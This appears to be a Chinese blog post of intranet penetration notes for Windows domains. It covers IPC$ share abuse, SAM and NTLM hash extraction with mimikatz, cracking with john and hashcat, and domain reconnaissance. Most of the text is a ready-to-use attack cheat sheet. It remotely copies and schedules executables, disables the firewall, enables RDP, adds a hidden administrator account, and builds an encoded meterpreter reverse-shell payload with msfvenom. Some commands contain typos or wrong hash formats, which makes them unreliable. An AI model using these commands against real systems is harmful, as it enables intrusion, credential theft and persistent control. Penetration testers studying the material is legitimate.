内网渗透知识点

参考链接:

1
2
3
https://daiker.gitbook.io/windows-protocol/
https://www.cnblogs.com/-mo-/p/11813608.html
https://www.anquanke.com/post/id/170471

IPC

0x01 简介

IPC$是共享”命名管道”的资源,他是为了让进程之间通信而开放的命名管道,可以验证用户名和密码获得相应的权限,在远程管理计算机和查看计算机的共享资源时使用。

利用IPC$,连接者甚至可以与目标主机建立一个连接,利用这个连接,连接者可以得到目标主机上的目录结构、用户列表等信息。

指至少两个进程或线程之间传送数据或信号的一些技术或方法。

0x02 利用条件

  1. 139、445端口开启:IPC$连接可以实现远程登录及对默认共享的访问,而139端口的开启表示netbios协议的应用,我们可以通过139、445(win2000)端口实现对共享文件/打印机的访问,因此一般来讲,IPC$连接是需要139或445端口来支持的。
  2. 管理员开启了默认共享:默认共享是为了方便管理员远程管理而默认开启的共享,即所有的逻辑盘(C$、D$、E$)和系统目录winnt或windows(admin$),我们通过IPC$连接可以实现对这些默认共享的访问。

0x03 操作命令

  1. 建立IPC$空连接

    1
    net use \\127.0.0.1\Iipc$ "" /user:""
  2. 建立完整的用户名,密码连接

    1
    net use \\127.0.0.1\ipc$ "password" /user:"username"
  3. 映射路径

    1
    net use z: \\127.0.0.1\c$ "password" /user:"username"
  4. 访问/删除路径

    1
    2
    3
    直接访问:net use z: \\127.0.0.1\c$
    删除映射的C盘,其他盘类推:net use c: /del
    删除全部,会有提示要求按y确认:net use * /del
  5. 删除IPC$连接

    1
    net use \\127.0.0.1\ipc$ /del
  6. 域中进行IPC$连接

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    net use\\127.0.0.1\ipc$ "域成员密码" /user:域名\域成员账号
    net use\\192.168.100.1\ipc$ "admin123456" /user:monkey111.com\win2003

    dir \\moneky111.com\c$

    上传exe文件:copy test.exe \\monkey111.com\c$

    net use \\192.168.100.1\ipc$ /del

    查看时间:net time \\127.0.0.1

    运行程序:at \\127.0.0.1 时间 test.exe(时间要是后面的时间)

0x04 IPC$连接失败的原因

  1. 你的系统不是NT或以上的操作系统
  2. 对方没有打开IPC$默认共享
  3. 不能成功连接目标的139、445端口
  4. 命令输入错误
  5. 用户名或密码错误

0x05 常见错误号

  1. 错误号5,拒绝访问:很可能你使用的用户不是管理员权限的,先提升权限
  2. 错误号51,Windows无法找到网络路径:网络有问题
  3. 错误号53:,找不到网络路径:IP地址错误;目标为开机;目标lanmanserver服务为开启;目标有防火墙(端口过滤);
  4. 错误号67,找不到网络名:你的lanmanworkstation服务未启动;目标删除了IPC$
  5. 错误号1219,提供的凭据域已存在的凭据集冲突;你已经和对方建立了一个IPC$,请删除再连
  6. 错误号1326,未知的用户名或错误密码
  7. 错误号1792,试图登录,但是网络登录服务没有启动:目标NetLogon服务未启动(连接域控会出现此情况)
  8. 错误号2242,此用户的密码已经过期:目标有账号策略,强制定期要求更改密码。

0x06 其他知识点

1
2
3
4
5
6
查看自己的共享:net share
查看target-IP的共享:net view \\IP
获取target-IP的端口列表:netstat -A IP

查看端口号对应的PID:netstat -ano | findstr "post"
查看进程号对应的程序:tasklist | findstr "PID"
1
2
现在绝大多数的Windows操作系统默认策略不允许来自远程网络验证的空密码,所以IPC空连接已经被废弃
如果远程服务端未开启139、445端口,无法使用IPC$进行连接。

SAM

SAM称为安全账户管理器,SAM是用来存储Windows操作系统密码的数据库文件,为了避免明文密码泄露,SAM文件中保存的是明文密码经过一系列算法处理过的Hsah值,被保存的Hash分为LM Hash、NTLMHash。用户在本地或远程登录系统时,会将Hash值与SAM文件中保存的Hash值进行对比。在后期的Windows系统中,SAM文件中被保存的密码Hash都被密钥SYSKEY加密。

SAM文件在磁盘中的位置在C:\Windows\system32\config\sam,SAM文件在Windows系统启动后被系统锁定,无法进行移动和复制。

Hash

Windows系统为了保护用户明文密码不会被泄露,将明文密码转换为Hash值进行身份验证,被保存在SAM或ntds.dit中。

Hash背景

  1. LM Hash,在早期的Windows操作系统中奖明文密码转换为LM Hash保存在SAM文件中,因为LM Hash使用DES加密,密钥为硬编码1,算法又存在缺陷,所以被废弃,为了保证系统兼容性可以自行开启。
  2. NTLM Hash,在LM Hash算法被弃用时,NTLM Hashneo用来进行Windows本地及远程身份验证的凭据,长度为32bit,由数字和字母组成。

Hash示例

冒号前半段为LM Hash,冒号后半段为NTLM Hash

aad3b435b51404eeaad3b435b51404ee:e19ccf75ee54e06b06a5907af13cef42 net-NTLM Hash:admin::N46iSNekpT:08ca45b7d7ea58ee:88dcbe4446168966a153a0064958dac6:5c7830315c7830310000000000000b45c67103d07d7b95acd12ffa11230e0000000052920b85f78d013c31cdb3b92f5d765c783030

Hash产生

  1. LM Hash:略

  2. NTLM Hash:

    1
    2
    3
    hex(16进制编码)
    unicode编码
    md4加密

获取Hash方法

1
2
3
4
使用卷影副本将SAM文件导出,配合SYSKEY利用mimikatz等工具获取NTLM Hash
使用mimikatz等工具读取lsass.exe进程,获取Hash
配合其他漏洞和手法获取net-NTLM Hash
net-NTLM Hash可以使用Responder或lnveigh等工具获取

破解Hash

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
LM Hash
1. john --format=lm hash.txt
2. hashcat -m 3000 -a 3 hash.txt

NTLM Hash
1. john --format=netntlm hash.txt
2. hashcat -m 1000 -a 3 hash.txt

Net-NTLMv1
1. john --format-netntlm hash.txt
2. hashcat -m 5500 -a 3 hash.txt

Net-NTLMv2
1. john --format=netntlmv2 hash.txt
2. hashcat -m 5600 -a 3 hash.txt

内网信息搜集常见的命令

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
net view                 # 查看局域网内其他主机名
net config Workstation # 查看计算机名、全名、用户名、系统版本、工作站、域、登录域
net user # 查看本机用户列表
net user /domain # 查看域用户
net localgroup administrators # 查看本地管理员组(通常会有域用户)
net view /domain # 查看有几个域
net user 用户名 /domain # 获取指定域用户的信息
net group /domain # 查看域里面的工作组,查看把用户分了多少组(只能在域控上操作)
net group 组名 /domain # 查看域中某工作组
net group "domain admins" /domain # 查看域管理员的名字
net group "domain computers" /domain # 查看域中的其他主机名
net group "doamin controllers" /domain # 查看域控制器主机名(可能有多台)

netsh advfirewall show allprofiles # 查看当前防火墙状态
netsh advfirewall set allprofiles state off # 关闭防火墙

route print # 查看路由信息

使用msf进行内网渗透

1
msfvenom -platform windows -p windows/meterpreter/reverse_tcp Lhost=192.168.1.3 lport=4444 -b"\x00" -e x86/shikata_ga_nai -f exe >  ./payload2.exe

其他常见命令

1
2
3
4
REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f	# 开启远程桌面服务
route print # 查看当前的路由信息
net user monkey111 xsl.200234 /add # 新建用户
net localgroup administrators monkey111 /add # 将用户加入管理员组